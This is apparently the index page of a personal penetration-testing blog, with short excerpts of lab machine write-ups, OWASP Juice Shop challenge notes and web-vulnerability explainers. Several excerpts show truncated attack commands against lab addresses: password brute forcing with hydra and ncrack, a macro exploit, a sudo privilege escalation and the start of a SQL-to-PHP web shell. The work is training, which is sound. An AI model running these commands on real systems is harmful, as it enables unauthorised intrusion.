💡 Check the about page
BillyBoss
cewl --lowercase http://192.168.160.61:8081/ | grep -v CeWL > wordlists.txt hydra -I -f -L wordlists.txt -P wordlists.txt …
Compromised
smbclient \\192.168.184.152\Users$ Looks like scripting might be the username I couldn’t get the local.txt, but inside the readme.txt file it points to > evil-winrm -i 192.168.184.152 -u …
Hepet
This one is tough! for me at least. Lets create a macro lay-den spreadsheet to send to one of the Jonas’ colleagues. Libreoffice: Tools > Macro > Basic > New: `Sub Exploit Dim Str As …
Midnight
Unfinished nmap -p- –min-rate 5000 192.168.189.39 Port 135 - RPC - Remote Procedure Call Port 139 - SMB - Server Message Block Port 445 - SMB - Server Message Block SMB enumeration: smbmap -H …
Monster
sudo nmap $4 -p- –open –max-rate 5000 smbmap -H 192.168.197.180 nada HTTP: Got some good looking Authenticated RCE’s Maybe we can shake out some creds!! Weak credentials allowed us …
Robust
nmap 192.168.185.200 We have found a login page and a port with Pando-pup(7680) Initially when we connect to the http server the we get this response. So we need to insert a header forwarder : …
Shenzi
nmap -p- –min-rate 5000 192.168.230.55 Straight away lets look at the http port: `nmap -p 80 -sS -sC -sV -A 192.168.230.55 gobuster dir -u http://192.168.230.55 -w …
Hutch
nmap -p- -v 192.168.139.122 --min-rate 5000 nmap -p- -sV -sC -sS 192.168.116.122 –min-rate 5000 Port 80 no giving us much: `enum4linux-ng -A 192.168.139.122 SMB: smbclient -N -L …
Symbolic
Shared ssh key | Symbolic link created for priv escalation. Web application on port 80 Couple of folders to enumerate. Logs, pdfs Save this somewhere, we’ll come back to it. vim sym.key After …
Fish
Glassfish looks promising, we also have and RDP port open. A path traversal attack is partially successful. We now know that we can access the server with path traversal and we now know the version …
Kevin
nmap -A Log in to the http site using user:admin password:admin then try to find some exploits using the version number of the hp_power_manager I searched for: github exploit hp power manager This …
Mice
google: remotemouse 1978 “github” “exploit” https://github.com/p0dalirius/RemoteMouse-3.008-Exploit/blob/master/README.md ./RemoteMouse-3.008-Exploit.py -t 192.168.184.199 -v …
Medjed
nmap -p- -v 192.168.158.127 –min-rate 5000 First thing is to check out this port 8000 website After setting an admin password take a look around the site. Eventually you’ll come across …
Butch
nmap -p- 192.168.164.63 --min-rate 5000 -o nmap.txt
DVR4
There are a few exploits for Argus: searchsploit argus curl …
RubyDome
There a pwnkit pdf that can be exploited that I found in the description wget linpeas onto the host, chmod and run it sudo -l echo 'exec "/bin/bash"' > /home/andrew/app/app.rb sudo …
Squid
https://angelica.gitbook.io/hacktricks/network-services-pentesting/3128-pentesting-squid It was actually 8080 that I needed. default username is: root no password: SELECT "<?php …
AuthBy
Start with a scan Looks like we have: ftp(21), ??(242), ??(3145), RDP(3389) Deeper scan nmap -A -p 21 192.168.184.46 FTP RDP ` nmap -A -p 3389 192.168.184.46 Something on port 242 asking for creds. …
Exghost
nmap reveals ftp try to login with no creds, it asks for a username and password. ncrack the fkn shit out if it. ncrack -U /usr/share/wordlists/metasploit/http_default_users.txt -P …
Fikklish
nmap reveals an apache website on port 80, something called weblate on port 8000 Quickly try 8000/admin/
OWASP Juice-shop 3star challenges continued
Deluxe Fraud Obtain a Deluxe Membership without paying for it. Okay so, login and find the delux membership purchase page. Select a credit card, turn on intercept and send the POST request to replay. …
OWASP Juice-shop 3star challenges
Forged Feedback Post some feedback in another user's name. Sign into any account and submit some feedback Find your POST request and send it to Caido’s repeater. Change the UserID to another …
Decoding JSON Web Tokens
Using a [Caido] community plugin, we are able to decode valuable information from the api’s JWT. Find the ‘Plugins’ tab in the left menu and search for: JWT Analyzer Once …
OWASP Juice-shop 2 star challenges
Reflected XSS Access the administration section of the store. Go through the whole order process. Add to cart, add credit card and address. Then we can track our order. <iframe …
OWASP Juice-shop 1 star challenges
We’ll start with the easy ones: Scoreboard Right click on the page and select inspect. Now search through the html code for a reference to “score” or “scoreboard” We …
OWASP Juice-shop setup guide
Proxmox | Ubuntu Server | NginX | NodeJS | NPM From inside your Proxmox environment, clone another vm or set up new ubuntu VM/container. - ssh into your machine so that you can copy/paste. Change the …
Server Side Vulnerabilities
This is a guide for the Apprentice level Server Side Vulnerabilities pathway on Portswigger. I’m pretty impressed with the amount of free content on this platform. It is well written and it …
Server Hardening
After creating a blog and releasing it into the wild, I instantly became paranoid that my network would be exploited. I wanted to be sure that I had done everything in my power to secure the site and …
Cloudflare Tunnel
Okay so exposing ports and having ISP’s fucking with your connection and intermittently bringing your site down is particularly annoying. Here is the fix to negate their CGNATs This provides a …
XML external entity injection XXE
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker …
IPv4 Representation
First, some background https://www.rfc-editor.org/rfc/rfc791 Steve Gibson GRC explains the Internet https://www.youtube.com/watch?v=7ALMh6I1fAo The model of operation is that an internet module …
Setting up bloggy
Technologies Ubuntu Server > Nginx > Git > Hugo > Obsidian > Unifi > No-IP > GoDaddy Note: Before starting this please consider that if you’d like to have screenshots in …
Open Redirect
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. …
Cross Site Request Forgery (CSRF)
An attacker causes a victim to carry out an action unintentionally on a web application. An example would be changing a victims user email credentials to an email address that the attacker controls by …
Path Travesral
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with …
JavaScript
JavaScript is the world’s most popular programming langauge. Its prevalence, along with its client-side execution, creates opportunities for various attack vectors. JavaScript to identify and …
Content Security Policy
CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a …
GOAD Setup
GOAD is a simulated Active Directory LAB environment used to execute Windows attacks The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice …
Blind SQL Injection
Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors. Many …
File Upload Vulnerabilities
File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size. Failing to properly …
Curlacking
Launched 1998, curl is a tool for transferring data from or to a server using URLs, with over 230 command line options. This briefly shows some of the ways to use it for reconnosince. curl -I …
Reflected XSS
Reflected XSS is an injection attack where malicious scripts are sent to a vulnerable web server (often via URLs), and the server immediately includes (reflects) those scripts unsanitized in the HTML …
Local File Inclusion
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server. LFI attacks can expose sensitive information, and in …
XSS DOM
This attack takes advantage of the Document Object Model(DOM). Manipulating the URL to insert script or change parameters for the attack. By setting up a python server, http traffic, specifically …
OpenVAS installation && troubleshooting
Installing OpenVAS on Kali for free vulnerability scanner Follow the instructions in this link: https://greenbone.github.io/docs/latest/22.4/kali/index.html Troubleshooting: Before running the …
Brute Force
A brute force attack can manifest itself in many different ways, but primarily consists in an attacker configuring predetermined values, making requests to a server using those values, and then …
Caido Certificate Error
Use the following guide to install the package: https://docs.caido.io/guides/#installing-on-linux Once you’ve installed Caido in Kali and you have used it in your on your self hosted website. …
SQL Injection
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they …